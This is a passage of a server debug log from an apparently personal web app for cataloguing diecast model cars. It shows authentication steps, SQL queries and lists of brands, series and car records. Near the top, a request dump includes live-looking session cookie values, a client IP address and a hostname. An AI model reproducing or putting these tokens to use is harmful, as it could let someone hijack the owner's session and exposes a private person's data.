      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-03T13:27:34.555Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T13:27:34.556Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:27:34.556Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T13:27:34.557Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-03T13:27:34.558Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-03T13:27:34.558Z server-connect:app Executing action step identify
2026-02-03T13:27:34.558Z server-connect:app options: { provider: 'security' }
2026-02-03T13:27:34.558Z server-connect:output identity: 1
2026-02-03T13:27:34.558Z server-connect:app Executing action step restrict
2026-02-03T13:27:34.558Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:27:34.558Z server-connect:app Executing action step identify
2026-02-03T13:27:34.559Z server-connect:app options: { provider: 'security' }
2026-02-03T13:27:34.559Z server-connect:output identity: 1
2026-02-03T13:27:34.559Z server-connect:app Executing action step restrict
2026-02-03T13:27:34.559Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:27:34.559Z server-connect:app Executing action step identify
2026-02-03T13:27:34.559Z server-connect:app options: { provider: 'security' }
2026-02-03T13:27:34.559Z server-connect:output identity: 1
2026-02-03T13:27:34.559Z server-connect:app Executing action step restrict
2026-02-03T13:27:34.559Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:27:34.559Z server-connect:app Executing action step identify
2026-02-03T13:27:34.559Z server-connect:app options: { provider: 'security' }
2026-02-03T13:27:34.559Z server-connect:output identity: 1
2026-02-03T13:27:34.559Z server-connect:app Executing action step restrict
2026-02-03T13:27:34.559Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:27:34.560Z server-connect:app Executing action step identify
2026-02-03T13:27:34.560Z server-connect:app options: { provider: 'security' }
2026-02-03T13:27:34.560Z server-connect:output identity: 1
2026-02-03T13:27:34.560Z server-connect:app Executing action step restrict
2026-02-03T13:27:34.560Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:27:34.561Z server-connect:output restrict: undefined
2026-02-03T13:27:34.561Z server-connect:app Executing action step select
2026-02-03T13:27:34.561Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T13:27:34.562Z server-connect:output restrict: undefined
2026-02-03T13:27:34.562Z server-connect:app Executing action step select
2026-02-03T13:27:34.562Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T13:27:34.562Z server-connect:output restrict: undefined
2026-02-03T13:27:34.562Z server-connect:app Executing action step paged
2026-02-03T13:27:34.562Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:27:34.563Z server-connect:output restrict: undefined
2026-02-03T13:27:34.563Z server-connect:app Executing action step select
2026-02-03T13:27:34.563Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T13:27:34.563Z server-connect:output restrict: undefined
2026-02-03T13:27:34.563Z server-connect:app Executing action step select
2026-02-03T13:27:34.563Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T13:27:34.564Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2026-02-03T13:27:34.565Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-03T13:27:34.565Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 }
]
2026-02-03T13:27:34.567Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-03T13:27:34.567Z server-connect:app Executing action step select
2026-02-03T13:27:34.567Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T13:27:34.568Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-03T13:27:34.569Z server-connect:app Executing action step select
2026-02-03T13:27:34.569Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T13:27:34.569Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 120,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:27:34.570Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-03T13:28:24.331Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-03T13:28:24.332Z server-connect:app Executing action step identify
2026-02-03T13:28:24.332Z server-connect:app options: { provider: 'security' }
2026-02-03T13:28:24.332Z server-connect:output identity: 1
2026-02-03T13:28:24.332Z server-connect:app Executing action step restrict
2026-02-03T13:28:24.332Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:28:24.334Z server-connect:output restrict: undefined
2026-02-03T13:28:24.334Z server-connect:app Executing action step condition
2026-02-03T13:28:24.334Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-03T13:28:24.334Z server-connect:app Executing action step insert
2026-02-03T13:28:24.334Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
